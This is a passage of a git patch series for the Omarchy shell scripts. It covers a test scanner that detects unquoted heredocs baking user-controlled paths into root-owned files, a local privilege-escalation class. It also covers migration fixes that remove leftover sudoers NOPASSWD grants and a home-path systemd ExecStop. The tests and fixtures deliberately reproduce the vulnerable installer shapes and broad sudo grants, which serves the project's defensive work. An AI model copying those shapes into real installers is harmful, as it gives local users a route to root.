annotation=${BASH_REMATCH[3]} + fi + look=$((look - 1)) + done + + shown_paths="none" + if ((${#path_expansions[@]} > 0)); then + shown_paths=$( + IFS=, + printf '%s' "${path_expansions[*]}" + ) + fi + shown_plain="none" + if ((${#plain_expansions[@]} > 0)); then + shown_plain=$( + IFS=, + printf '%s' "${plain_expansions[*]}" + ) + fi + + if [[ -z $annotation ]]; then + FINDINGS+=("$display:$lineno: unquoted heredoc <<$delim expands values at install time and its output reaches $destination + path-shaped expansions: $shown_paths + other expansions: $shown_plain + Whatever expands here is baked into a file root owns. If it is a path the + installing user can replace, root later reads or executes attacker-controlled + content -- that is a local privilege escalation. + Fix, in order of preference: + 1. quote the delimiter (<<'$delim') so nothing expands at install time; + 2. hardcode an absolute root-owned path instead of expanding one; + 3. if the expansion is genuinely required, declare it above the heredoc: + # omarchy:heredoc-expands paths=$shown_paths -- ") + continue + fi + + if [[ $declared_paths != "$shown_paths" ]]; then + FINDINGS+=("$display:$lineno: heredoc annotation declares paths=$declared_paths but the path-shaped expansions are $shown_paths + Writing to: $destination + Every expansion used as a path outside a root-owned prefix has to be named, + so adding one to an already-annotated heredoc trips this check again instead + of inheriting the old exemption. + Fix: drop the path expansion (hardcode an absolute root-owned path), or + correct the declaration: + # omarchy:heredoc-expands paths=$shown_paths -- ") + fi + done + done +} + +# bin/, install/ and migrations/ are where privileged writes live: bin/ holds +# the setup and upgrade commands, install/ runs during install, migrations/ +# during update. default/ is scanned too even though the pattern is not +# reachable there today -- it ships bash functions and completions whose only +# "<<" uses are herestrings, with no privileged writes at all -- because the +# scan is cheap and default/ is sourced into every login shell, so a privileged +# write arriving there later should not arrive unchecked. +shell_sources() { + local file first + + while IFS= read -r -d '' file; do + grep -Iq . "$file" 2>/dev/null || continue + + case $file in + *.sh | *.hook) + printf '%s\0' "$file" + continue + ;; + esac + + IFS= read -r first <"$file" || true + if [[ $first =~ ^#!.*[[:space:]/](bash|sh)$ ]]; then + printf '%s\0' "$file" + fi + done < <(find "$ROOT/bin" "$ROOT/install" "$ROOT/migrations" "$ROOT/default" \ + -type f -print0 2>/dev/null | sort -z) +} + +require_command find +require_command grep + +sources=() +while IFS= read -r -d '' file; do + sources+=("$file") +done < <(shell_sources) + +((${#sources[@]} > 50)) || fail "the scan reaches the privileged-write scripts" \ + "only ${#sources[@]} shell sources found under bin/, install/, migrations/ and default/" +pass "the scan reaches the privileged-write scripts (${#sources[@]} files)" + +for file in "${sources[@]}"; do + scan_file "$file" "${file#"$ROOT"/}" +done + +if ((${#FINDINGS[@]} > 0)); then + fail "no privileged write embeds an install-time expansion through an unquoted heredoc" \ + "$(printf '%s\n\n' "${FINDINGS[@]}")" +fi +pass "no privileged write embeds an install-time expansion through an unquoted heredoc" + +# --- Non-vacuity ------------------------------------------------------------ +# +# A check that cannot catch the bug it was written for is worthless, so the same +# scanner runs against fixtures: installer shapes taken verbatim from this +# repository's history, the routes other than a pipe into sudo tee, and the +# shapes that must stay quiet. + +FIXTURES="$SHELL_TEST_DIR/fixtures/privileged-heredoc" + +fixture_flags() { + local fixture="$1" description="$2" expected="${3:-}" + + FINDINGS=() + scan_file "$FIXTURES/$fixture" "$fixture" + + ((${#FINDINGS[@]} > 0)) || fail "$description" "$fixture produced no finding" + if [[ -n $expected ]]; then + printf '%s\n' "${FINDINGS[@]}" | grep -qF -- "$expected" || + fail "$description" "expected \"$expected\" in:$(printf '\n%s' "${FINDINGS[@]}")" + fi + pass "$description" +} + +fixture_passes() { + local fixture="$1" description="$2" + + FINDINGS=() + scan_file "$FIXTURES/$fixture" "$fixture" + + ((${#FINDINGS[@]} == 0)) || fail "$description" "$(printf '%s\n' "${FINDINGS[@]}")" + pass "$description" +} + +# Verbatim installer shapes: two udev rules whose RUN+= resolves through a +# user's home, and a systemd unit whose ExecStop did the same. Kept as written +# rather than tidied, so the fixtures stay faithful to the real shape instead of +# a cleaned-up sketch of it. +fixture_flags udev-rule-home-path.sh \ + "flags a power-profile udev rule whose RUN+= resolves under \$HOME" \ + "path-shaped expansions: HOME" +fixture_flags wifi-rule-home-path.sh \ + "flags a wifi-powersave udev rule whose RUN+= resolves under \$HOME" \ + "path-shaped expansions: HOME" +fixture_flags shutdown-unit-home-execstop.sh \ + "flags a shutdown unit with ExecStop=\$HOME/..." \ + "path-shaped expansions: HOME" + +# The exemption must not be a rubber stamp: the same file carrying a +# plausible-looking annotation still fails, because $HOME is path-shaped and +# the declaration does not say so. +fixture_flags annotated-paths-none-still-fails.sh \ + "an annotation claiming paths=none cannot silence a baked \$HOME path" \ + "declares paths=none but the path-shaped expansions are HOME" + +# A path can hide one or more hops away from the heredoc. In each of these the +# token in the body has no slash and the value never resolves to a literal path, +# so an annotation of paths=none looks plausible while the write still bakes the +# user's home into a root-owned file. The declaration has to name the expansion. +fixture_flags hop-variable-home-path.sh \ + "an annotation cannot exempt a home path carried one variable hop away" \ + "declares paths=none but the path-shaped expansions are helper" +fixture_flags hop-twice-home-path.sh \ + "an annotation cannot exempt a home path carried two variable hops away" \ + "declares paths=none but the path-shaped expansions are helper" +fixture_flags shadowed-assignment-home-path.sh \ + "a later assignment under \$HOME is judged, not the packaged value it shadowed" \ + "declares paths=none but the path-shaped expansions are target" + +# Routes other than a direct pipe into sudo tee. +fixture_flags route-redirect.sh "flags a plain redirect into /etc" +fixture_flags route-sudo-dd.sh "flags sudo dd of= into a privileged path" +fixture_flags route-variable-path.sh \ + "flags an elevated write whose destination is a variable resolving under /etc" +fixture_flags route-install-hop.sh \ + "flags a scratch file that install(1) later copies into /usr" +fixture_flags route-dash-delimiter.sh "flags an indented <<- heredoc" + +# Negatives. +fixture_passes safe-quoted-delimiter.sh "a quoted delimiter passes" +fixture_passes safe-user-destination.sh \ + "an unquoted heredoc expanding into the user's own ~/.config passes" +fixture_passes safe-no-expansion.sh \ + "a privileged write with no expansion in the body passes" +fixture_passes safe-runtime-expansion.sh \ + "an escaped \\\$VAR left for a root daemon to expand passes" +fixture_passes safe-annotated.sh "a declared, reasoned exemption passes" +fixture_passes safe-root-anchored.sh \ + "a path expansion anchored under /etc is truthfully declared paths=none" +fixture_passes safe-herestring.sh "a herestring is not mistaken for a heredoc" From 394c1371c9715358c4317ea2f8e91305722bc10d Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 15:37:07 -0600 Subject: [PATCH 143/336] Model what each parser does with an empty and a dangling directive Review of the previous commits turned up four places where the predicates and their tests disagreed with the tools they are modelling, each checked against udevadm verify, systemd-analyze verify and visudo -cf rather than against reading of the sources. An empty ExecStop= resets the list, so a unit an administrator neutralised that way runs nothing at shutdown and is no longer ours to remove; the predicate now tracks the last state instead of returning on the first home path it sees. A file whose last line ends in a backslash still carries a live directive for systemd, so the pending logical line is emitted at EOF; udev ignores such a line and sudo rejects the file outright, so this costs those two nothing. The scanner's taint pass now reads += appends, which its own comment already promised: the value of an append is no use, but a name that reaches a user root through one has to be judged on it. Two regression guards passed against the implementations they were written for. The udev continuation fixture put the whole RUN+= below the comment, so it matched whether or not the pending half was carried across; the split now falls inside the RUN+= value. The sudoers one kept its file on the strength of a spec above the comment, so it could not fail either; the hand-written spec now sits below. Both fail against a mutant that discards the pending line. The comment above the second also claimed a continued comment stays a comment, which visudo contradicts. --- migrations/1788025225.sh | 18 +++++- .../privileged-heredoc/hop-twice-home-path.sh | 0 .../hop-variable-home-path.sh | 0 .../shadowed-assignment-home-path.sh | 0 .../legacy-power-udev-rules-migration-test.sh | 12 ++-- test/shell.d/privileged-heredoc-test.sh | 17 +++-- ...ired-installer-artifacts-migration-test.sh | 62 +++++++++++++++++-- 7 files changed, 90 insertions(+), 19 deletions(-) mode change 100755 => 100644 test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh mode change 100755 => 100644 test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh mode change 100755 => 100644 test/shell.d/fixtures/privileged-heredoc/shadowed-assignment-home-path.sh diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index ce95b9bc..b131d046 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -67,6 +67,12 @@ active_lines() { emit_logical "$logical$line" logical="" done + + # A file whose last line ends in a backslash still carries a live directive for + # systemd: `systemd-analyze verify` resolves an ExecStop= written that way. + # udev ignores the dangling line and sudo rejects the file outright, so emitting + # it costs those two nothing. + emit_logical "$logical" } # One logical line, whitespace collapsed so a reformatted copy still compares @@ -195,6 +201,7 @@ plymouth_unit_runs_from_home() { local home_pattern="^(/home/[^/]+|/root)/\\.local/share/omarchy/bin/$binary\$" local line word local -a words + local matched=1 while IFS= read -r line; do if [[ ! $line =~ $exec_stop_pattern ]]; then @@ -203,6 +210,11 @@ plymouth_unit_runs_from_home() { read -ra words <<<"${BASH_REMATCH[1]}" if (( ! ${#words[@]} )); then + # An empty assignment resets the list, so nothing named before it still + # runs. `systemd-analyze verify` reports the missing command for a unit + # with one ExecStop=, and reports nothing once a bare ExecStop= follows it. + # An administrator who neutralised the unit this way is left alone. + matched=1 continue fi @@ -214,11 +226,13 @@ plymouth_unit_runs_from_home() { done if [[ $word =~ $home_pattern || $word == "$HOME/.local/share/omarchy/bin/$binary" ]]; then - return 0 + matched=0 + else + matched=1 fi done < <(active_lines systemd) - return 1 + return $matched } # /etc/sudoers.d is 0750 root:root as shipped, and omarchy-migrate runs as the diff --git a/test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh old mode 100755 new mode 100644 diff --git a/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh old mode 100755 new mode 100644 diff --git a/test/shell.d/fixtures/privileged-heredoc/shadowed-assignment-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/shadowed-assignment-home-path.sh old mode 100755 new mode 100644 diff --git a/test/shell.d/legacy-power-udev-rules-migration-test.sh b/test/shell.d/legacy-power-udev-rules-migration-test.sh index 8a092abe..6751edda 100755 --- a/test/shell.d/legacy-power-udev-rules-migration-test.sh +++ b/test/shell.d/legacy-power-udev-rules-migration-test.sh @@ -213,14 +213,16 @@ run_migration fail "migration matches the binary the filename promises, not any home path" pass "migration matches the binary the filename promises, not any home path" -# udev resumes a continuation across a comment: `udevadm verify` on -# 'SUBSYSTEM=="power_supply" \' + "# c" + ', RUN+="..."' reports its style warning -# on line 1, so those three lines are one rule and the rule is live. +# udev resumes a continuation across a comment: `udevadm verify` reports its +# complaint on line 1 for a rule split this way, so the three lines are one live +# rule. The split falls inside the RUN+= value on purpose -- with the whole +# RUN+= below the comment the assertion passes even against an implementation +# that throws the pending half away, which is the shape this guards against. reset_machine cat >"$power_rule" <<'RULE' -SUBSYSTEM=="power_supply", ATTR{type}=="Mains" \ +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/systemd-run --no-block --unit=omarchy-power-profile \ # split for readability -, RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" RULE run_migration diff --git a/test/shell.d/privileged-heredoc-test.sh b/test/shell.d/privileged-heredoc-test.sh index 26a894e3..c62d3f45 100755 --- a/test/shell.d/privileged-heredoc-test.sh +++ b/test/shell.d/privileged-heredoc-test.sh @@ -176,16 +176,17 @@ declare -A VARS_TAINTED=() # isolation would miss in whichever direction it picked. collect_vars() { local -n source_lines="$1" - local line name value + local line name value append VARS=() VARS_TAINTED=() for line in "${source_lines[@]}"; do [[ $line =~ ^[[:space:]]*# ]] && continue - [[ $line =~ ^[[:space:]]*(local|declare|export|readonly|typeset)?[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)=(.*)$ ]] || continue + [[ $line =~ ^[[:space:]]*(local|declare|export|readonly|typeset)?[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)(\+?)=(.*)$ ]] || continue name=${BASH_REMATCH[2]} - value=${BASH_REMATCH[3]} + append=${BASH_REMATCH[3]} + value=${BASH_REMATCH[4]} value=${value%%[[:space:]]#*} value=${value%[[:space:]]} if [[ $value == \"*\" || $value == \'*\' ]]; then @@ -193,6 +194,11 @@ collect_vars() { fi mentions_user_writable_root "$value" && VARS_TAINTED["$name"]=1 + + # An append never wins the value -- an array grown across a file resolves to + # nothing useful -- but it does carry the taint, or a name could reach a user + # root through += and never be judged on it. + [[ -n $append ]] && continue [[ -v VARS[$name] ]] || VARS["$name"]=$value done } @@ -457,9 +463,8 @@ privileged_destination() { fi done < <(command_destinations "$line") - # An elevated write whose destination cannot be resolved counts as - # privileged: sudo tee is not aimed at a user's own dotfile, and assuming - # otherwise is how this bug class survived six reviews. + # An elevated write whose destination cannot be resolved counts as privileged: + # sudo tee is not aimed at a user's own dotfile. if ((elevated == 0)) && ((${#unresolved[@]} > 0)); then printf '%s' "${unresolved[0]} (unresolved destination of an elevated write)" return 0 diff --git a/test/shell.d/retired-installer-artifacts-migration-test.sh b/test/shell.d/retired-installer-artifacts-migration-test.sh index d626fc33..d89ab09c 100755 --- a/test/shell.d/retired-installer-artifacts-migration-test.sh +++ b/test/shell.d/retired-installer-artifacts-migration-test.sh @@ -197,21 +197,25 @@ run_migration fail "migration keeps a same-named file that never cleaned itself up" pass "migration keeps a same-named file that never cleaned itself up" -# A rule continued onto the next line is one logical line, and a comment that is -# continued stays a comment for the whole of it. +# A spec continued onto the next line is one logical line, and a comment's own +# trailing backslash swallows nothing: `visudo -cf` on "# note \" plus a bogus +# token reports the error on line 2, so the spec below a commented line is live. +# The hand-written spec sits under the comment on purpose -- above it, the file +# is kept under either reading and the assertion cannot fail. reset_machine cat >"$first_run" <<'EOF' # Retired, keeping the old grant here for reference: \ -installer ALL=(ALL) NOPASSWD: /usr/bin/systemctl +installer ALL=(ALL) NOPASSWD: /usr/local/bin/our-own-deploy-script Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run installer ALL=(ALL) NOPASSWD: \ - /usr/local/bin/our-own-deploy-script + /usr/bin/systemctl +installer ALL=(ALL) NOPASSWD: FIRST_RUN_CLEANUP EOF run_migration [[ -e $first_run ]] || - fail "migration reads a continued line as one rule and a continued comment as comment" -pass "migration reads a continued line as one rule and a continued comment as comment" + fail "migration keeps a spec left live under a commented continuation" +pass "migration keeps a spec left live under a commented continuation" reset_machine printf 'installer ALL=(ALL) NOPASSWD: %s/.local/bin/tsui\n' "$home_dir" >"$tsui" @@ -454,3 +458,49 @@ run_migration [[ ! -e $plymouth_unit ]] || fail "migration removes a unit whose ExecStop continues across a comment" "$(cat "$plymouth_unit")" pass "migration removes a unit whose ExecStop continues across a comment" + +# An empty ExecStop= resets the list: `systemd-analyze verify` reports the missing +# command for a unit with one ExecStop=, and reports nothing once a bare +# ExecStop= follows it. An administrator who neutralised the unit that way runs +# nothing at shutdown and keeps their file. +reset_machine +cat >"$plymouth_unit" <<'EOF' +[Service] +Type=oneshot +ExecStart=/usr/bin/true +ExecStop=/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync +ExecStop= +EOF +before=$(cat "$plymouth_unit") +run_migration + +[[ -e $plymouth_unit ]] || + fail "migration keeps a unit whose ExecStop list was reset to empty" +[[ $(cat "$plymouth_unit") == "$before" ]] || + fail "migration leaves that unit byte for byte" +pass "migration keeps a unit whose ExecStop list was reset to empty" + +# A reset followed by a fresh home ExecStop= is live again. +reset_machine +cat >"$plymouth_unit" <<'EOF' +[Service] +Type=oneshot +ExecStart=/usr/bin/true +ExecStop= +ExecStop=/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync +EOF +run_migration + +[[ ! -e $plymouth_unit ]] || + fail "migration removes a unit whose ExecStop is set again after a reset" +pass "migration removes a unit whose ExecStop is set again after a reset" + +# systemd honours a directive whose line ends the file mid-continuation: +# `systemd-analyze verify` resolves an ExecStop= written that way. +reset_machine +printf '[Service]\nType=oneshot\nExecStart=/usr/bin/true\nExecStop=/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync \\\n' >"$plymouth_unit" +run_migration + +[[ ! -e $plymouth_unit ]] || + fail "migration removes a unit whose last line ends mid-continuation" +pass "migration removes a unit whose last line ends mid-continuation" From 80e7c25b3761323bffe03404ed88a0b25ab231ef Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 15:50:33 -0600 Subject: [PATCH 144/336] Fail the sudoers cleanup when it cannot elevate to look Running the migration on a real machine with no cached sudo credentials printed sudo's "a terminal is required to read the password" and still exited 0. bin/omarchy-migrate writes the completion marker on a zero exit, so the cleanup would have been recorded as done on every install that runs migrations without a terminal, and never tried again. Probe for elevation before the combined existence check and exit non-zero when it fails, so the marker stays unwritten and the next run retries. The probe is skipped when the directory is readable as-is, which is the case when migrations run as root. --- migrations/1788025225.sh | 14 ++++++- ...ired-installer-artifacts-migration-test.sh | 40 +++++++++++++++++++ 2 files changed, 52 insertions(+), 2 deletions(-) diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index b131d046..daf4abb6 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -239,11 +239,21 @@ plymouth_unit_runs_from_home() { # logged-in user, so an unelevated [[ -f ]] on a file in there is false whether or # not the file exists and an unelevated read returns nothing. Both tests and both # reads have to be elevated or this migration reports success having done nothing. -# One combined probe first, so the common case of neither file being present costs -# a single sudo call rather than one per file. first_run_sudoers="$sudoers_dir/first-run" tsui_sudoers="$sudoers_dir/tsui" +# Sudo cannot prompt without a terminal, and omarchy-migrate runs from places that +# have none. Failing the elevation probe there is indistinguishable from finding +# no files, and since bin/omarchy-migrate writes the completion marker on a zero +# exit, a silent skip would mark this migration done forever. Exit non-zero +# instead so the marker stays unwritten and the next run tries again. +if [[ ! -r $sudoers_dir ]] && ! as_root true 2>/dev/null; then + echo "Cannot inspect $sudoers_dir without elevation; leaving it for the next run." >&2 + exit 1 +fi + +# One combined probe, so the common case of neither file being present costs a +# single elevated call rather than one per file. if as_root test -e "$first_run_sudoers" -o -e "$tsui_sudoers"; then if as_root test -f "$first_run_sudoers" && as_root cat "$first_run_sudoers" | first_run_sudoers_is_generated; then diff --git a/test/shell.d/retired-installer-artifacts-migration-test.sh b/test/shell.d/retired-installer-artifacts-migration-test.sh index d89ab09c..da6a3663 100755 --- a/test/shell.d/retired-installer-artifacts-migration-test.sh +++ b/test/shell.d/retired-installer-artifacts-migration-test.sh @@ -29,6 +29,18 @@ STUB chmod +x "$test_dir/bin/"* +# A second stub directory where sudo cannot elevate, standing in for a run with +# no terminal to read a password from. +mkdir -p "$test_dir/failing-bin" +cat >"$test_dir/failing-bin/sudo" <<'STUB' +#!/bin/bash + +echo "sudo: a terminal is required to read the password" >&2 +exit 1 +STUB +cp "$test_dir/bin/systemctl" "$test_dir/failing-bin/systemctl" +chmod +x "$test_dir/failing-bin/"* + export CALLS="$test_dir/calls" sudoers_dir="$test_dir/sudoers.d" @@ -504,3 +516,31 @@ run_migration [[ ! -e $plymouth_unit ]] || fail "migration removes a unit whose last line ends mid-continuation" pass "migration removes a unit whose last line ends mid-continuation" + +# sudo cannot prompt without a terminal, and omarchy-migrate runs from places that +# have none. bin/omarchy-migrate writes the completion marker on a zero exit, so +# reporting success after failing to look would mark this migration done for good. +# Observed on a real machine before this guard existed: the run printed sudo's +# "a terminal is required" and still exited 0. +reset_machine +unreadable="$test_dir/unreadable-sudoers" +rm -rf "$unreadable" +mkdir -p "$unreadable" +chmod 000 "$unreadable" + +: >"$CALLS" +set +e +HOME="$home_dir" \ + OMARCHY_SUDOERS_DIR="$unreadable" \ + OMARCHY_SYSTEMD_SYSTEM_DIR="$systemd_dir" \ + PATH="$test_dir/failing-bin:$PATH" \ + bash -euo pipefail "$migration" >"$test_dir/gate.out" 2>&1 +gate_status=$? +set -e +chmod 755 "$unreadable" + +(( gate_status != 0 )) || + fail "migration fails when it cannot elevate to inspect the sudoers directory" "$(cat "$test_dir/gate.out")" +grep -q 'without elevation' "$test_dir/gate.out" || + fail "migration says why it could not inspect the directory" "$(cat "$test_dir/gate.out")" +pass "migration fails when it cannot elevate to inspect the sudoers directory" From 7ed761fb31ee199cf3f995effbe1fccc16c73f33 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 16:08:41 -0600 Subject: [PATCH 145/336] Stop the heredoc check writing its own exemption The failure advice printed a ready-to-paste annotation with the scan's verdict already filled in, so the shortest way past the check was to copy back what it had just concluded. That is worst exactly where the scan is weakest: a path it cannot follow through a variable reads as an ordinary value, and the annotation it offers for that case is paths=none. Print the annotation with the path list left blank and say why the author has to fill it in. The scan's own reading stays in the report above it, so nothing diagnostic is lost. --- test/shell.d/privileged-heredoc-test.sh | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/test/shell.d/privileged-heredoc-test.sh b/test/shell.d/privileged-heredoc-test.sh index c62d3f45..ce274260 100755 --- a/test/shell.d/privileged-heredoc-test.sh +++ b/test/shell.d/privileged-heredoc-test.sh @@ -613,7 +613,11 @@ scan_file() { 1. quote the delimiter (<<'$delim') so nothing expands at install time; 2. hardcode an absolute root-owned path instead of expanding one; 3. if the expansion is genuinely required, declare it above the heredoc: - # omarchy:heredoc-expands paths=$shown_paths -- ") + # omarchy:heredoc-expands paths= -- + Decide that list yourself. The scan's own reading of it is above, and + where the scan is most likely wrong is exactly here -- a path it could + not follow reads as an ordinary value -- so pasting its verdict back + signs off on the case worth checking by hand.") continue fi @@ -623,9 +627,9 @@ scan_file() { Every expansion used as a path outside a root-owned prefix has to be named, so adding one to an already-annotated heredoc trips this check again instead of inheriting the old exemption. - Fix: drop the path expansion (hardcode an absolute root-owned path), or - correct the declaration: - # omarchy:heredoc-expands paths=$shown_paths -- ") + Fix: drop the path expansion (hardcode an absolute root-owned path), or name + every path-shaped expansion in the declaration and say why root using it is + safe.") fi done done From 49969415133d57c1e38f629f3ddec018e20bb875 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 20:03:46 -0600 Subject: [PATCH 146/336] Address privileged cleanup review findings --- agents/skills/migrations.md | 1 + bin/omarchy-dns | 12 +- bin/omarchy-migrate | 20 ++- migrations/1788025225.sh | 94 +++++++++---- .../arithmetic-left-shift-before-heredoc.sh | 5 + ...plain-heredoc-indented-pseudo-delimiter.sh | 5 + .../route-append-redirect.sh | 3 + .../safe-annotated-reordered-paths.sh | 8 ++ test/shell.d/migrate-scope-test.sh | 36 +++++ test/shell.d/privileged-heredoc-test.sh | 123 ++++++++++++++---- ...ired-installer-artifacts-migration-test.sh | 91 +++++++++++-- 11 files changed, 331 insertions(+), 67 deletions(-) create mode 100644 test/shell.d/fixtures/privileged-heredoc/arithmetic-left-shift-before-heredoc.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/plain-heredoc-indented-pseudo-delimiter.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-append-redirect.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh diff --git a/agents/skills/migrations.md b/agents/skills/migrations.md index 2c97ebde..08e3710e 100644 --- a/agents/skills/migrations.md +++ b/agents/skills/migrations.md @@ -126,6 +126,7 @@ New migration format: - Start with an `echo` describing what the migration does. - Use `$OMARCHY_PATH` to reference the Omarchy directory. - Be idempotent. Check existing state before changing it. +- Exit 75 when a temporary condition must leave the migration pending without blocking later migrations. `omarchy-migrate` continues the queue, does not write that migration's completion marker, and retries it on a later run. Other non-zero statuses still abort the migration run. - Use helper commands such as `omarchy-cmd-present`, `omarchy-cmd-missing`, `omarchy-pkg-add`, `omarchy-pkg-drop`, `omarchy-pkg-present`, and `omarchy-pkg-missing` when appropriate. diff --git a/bin/omarchy-dns b/bin/omarchy-dns index 7d790b78..19c6549e 100755 --- a/bin/omarchy-dns +++ b/bin/omarchy-dns @@ -149,9 +149,9 @@ write_networkmanager_dns() { local servers="$1" install -d -m 0755 "$(dirname "$NM_DNS_CONF")" - # omarchy:heredoc-expands paths=none -- $servers is a space-separated list of - # validated DNS server addresses, not a path; nothing user-writable is baked - # into the root-owned drop-in. + # omarchy:heredoc-expands paths=none -- $servers is a normalized, single-line + # DNS server list written as data, not a path or command; nothing user-writable + # is resolved or executed from the root-owned drop-in. cat >"$NM_DNS_CONF" </dev/null </dev/null 2>&1 || true +if ((${#deferred[@]} == 0)); then + omarchy-notification-dismiss "Omarchy Migrations" >/dev/null 2>&1 || true +fi diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index daf4abb6..3eeddb0d 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -2,6 +2,10 @@ echo "Remove privileged files left behind by retired Omarchy installers" sudoers_dir="${OMARCHY_SUDOERS_DIR:-/etc/sudoers.d}" systemd_dir="${OMARCHY_SYSTEMD_SYSTEM_DIR:-/etc/systemd/system}" +machine_marker="${OMARCHY_RETIRED_INSTALLER_ARTIFACTS_MARKER:-/var/lib/omarchy/migrations/1788025225}" +reload_needed_marker="$machine_marker.daemon-reload" + +[[ ! -e $machine_marker ]] || exit 0 as_root() { if (( EUID == 0 )); then @@ -226,9 +230,10 @@ plymouth_unit_runs_from_home() { done if [[ $word =~ $home_pattern || $word == "$HOME/.local/share/omarchy/bin/$binary" ]]; then + # Non-empty ExecStop= assignments append to the command list. Once a + # vulnerable command is present it stays live until an empty assignment + # explicitly resets the list; a later packaged command does not replace it. matched=0 - else - matched=1 fi done < <(active_lines systemd) @@ -242,39 +247,82 @@ plymouth_unit_runs_from_home() { first_run_sudoers="$sudoers_dir/first-run" tsui_sudoers="$sudoers_dir/tsui" -# Sudo cannot prompt without a terminal, and omarchy-migrate runs from places that -# have none. Failing the elevation probe there is indistinguishable from finding -# no files, and since bin/omarchy-migrate writes the completion marker on a zero -# exit, a silent skip would mark this migration done forever. Exit non-zero -# instead so the marker stays unwritten and the next run tries again. -if [[ ! -r $sudoers_dir ]] && ! as_root true 2>/dev/null; then - echo "Cannot inspect $sudoers_dir without elevation; leaving it for the next run." >&2 - exit 1 +defer_privileged_repair() { + echo "Cannot complete the privileged installer-artifact repair; omarchy-migrate will retry it later." >&2 + exit 75 +} + +# This is a machine-wide repair with per-user migration markers. A root-owned, +# readable marker lets later non-sudo users finish their own migration run after +# one privileged account has inspected and repaired the machine. Until then, +# exit 75 asks omarchy-migrate to leave this migration pending while continuing +# with every later migration instead of wedging the whole queue. +if ! as_root true 2>/dev/null; then + defer_privileged_repair fi -# One combined probe, so the common case of neither file being present costs a -# single elevated call rather than one per file. -if as_root test -e "$first_run_sudoers" -o -e "$tsui_sudoers"; then - if as_root test -f "$first_run_sudoers" && - as_root cat "$first_run_sudoers" | first_run_sudoers_is_generated; then - as_root rm -f "$first_run_sudoers" +# Removing a unit and reloading systemd are one repair. Persist the second half +# before removing the file so a failed daemon-reload cannot be forgotten on a +# retry that now sees no unit on disk. +if [[ -e $reload_needed_marker ]]; then + if ! as_root systemctl daemon-reload >/dev/null 2>&1; then + defer_privileged_repair fi - - if as_root test -f "$tsui_sudoers" && - as_root cat "$tsui_sudoers" | tsui_sudoers_is_generated; then - as_root rm -f "$tsui_sudoers" + if ! as_root rm -f "$reload_needed_marker"; then + defer_privileged_repair fi fi +inspect_sudoers_file() { + local file="$1" predicate="$2" kind content + + # Emit an explicit state from the elevated process. A bare `sudo test -f` in + # an if-condition makes "file missing" indistinguishable from "sudo failed", + # which could mark a live grant repaired without ever reading it. + if ! kind=$(as_root bash -c 'if [[ -f $1 ]]; then printf file; elif [[ -e $1 ]]; then printf other; else printf missing; fi' bash "$file"); then + defer_privileged_repair + fi + + [[ $kind == "file" ]] || return 0 + if ! content=$(as_root cat "$file"); then + defer_privileged_repair + fi + + if "$predicate" <<<"$content"; then + if ! as_root rm -f "$file"; then + defer_privileged_repair + fi + fi +} + +inspect_sudoers_file "$first_run_sudoers" first_run_sudoers_is_generated +inspect_sudoers_file "$tsui_sudoers" tsui_sudoers_is_generated + # /etc/systemd/system is 0755, so this one needs no elevation to look at. plymouth_unit="$systemd_dir/omarchy-plymouth-shutdown.service" if [[ -f $plymouth_unit ]] && plymouth_unit_runs_from_home <"$plymouth_unit"; then # Disable, never stop. Stopping the unit is precisely what runs ExecStop, and # ExecStop is the path this migration exists to keep root away from; disabling # only drops the multi-user.target symlink. - as_root systemctl disable omarchy-plymouth-shutdown.service >/dev/null 2>&1 || true - as_root rm -f "$plymouth_unit" + if ! as_root install -Dm644 /dev/null "$reload_needed_marker"; then + defer_privileged_repair + fi + if ! as_root systemctl disable omarchy-plymouth-shutdown.service >/dev/null 2>&1; then + defer_privileged_repair + fi + if ! as_root rm -f "$plymouth_unit"; then + defer_privileged_repair + fi # systemd keeps serving the copy it already loaded until it rereads the # directory, so without this the unit is still there to run at shutdown. - as_root systemctl daemon-reload >/dev/null 2>&1 || true + if ! as_root systemctl daemon-reload >/dev/null 2>&1; then + defer_privileged_repair + fi + if ! as_root rm -f "$reload_needed_marker"; then + defer_privileged_repair + fi +fi + +if ! as_root install -Dm644 /dev/null "$machine_marker"; then + defer_privileged_repair fi diff --git a/test/shell.d/fixtures/privileged-heredoc/arithmetic-left-shift-before-heredoc.sh b/test/shell.d/fixtures/privileged-heredoc/arithmetic-left-shift-before-heredoc.sh new file mode 100644 index 00000000..d6bf7d1d --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/arithmetic-left-shift-before-heredoc.sh @@ -0,0 +1,5 @@ +mask=$((1 << bits)) + +cat >/etc/omarchy/agent.conf </etc/omarchy/agent.conf <>/etc/omarchy/agent.conf </etc/omarchy/mounts.conf <"$deferred_root/migrations/100-deferred.sh" 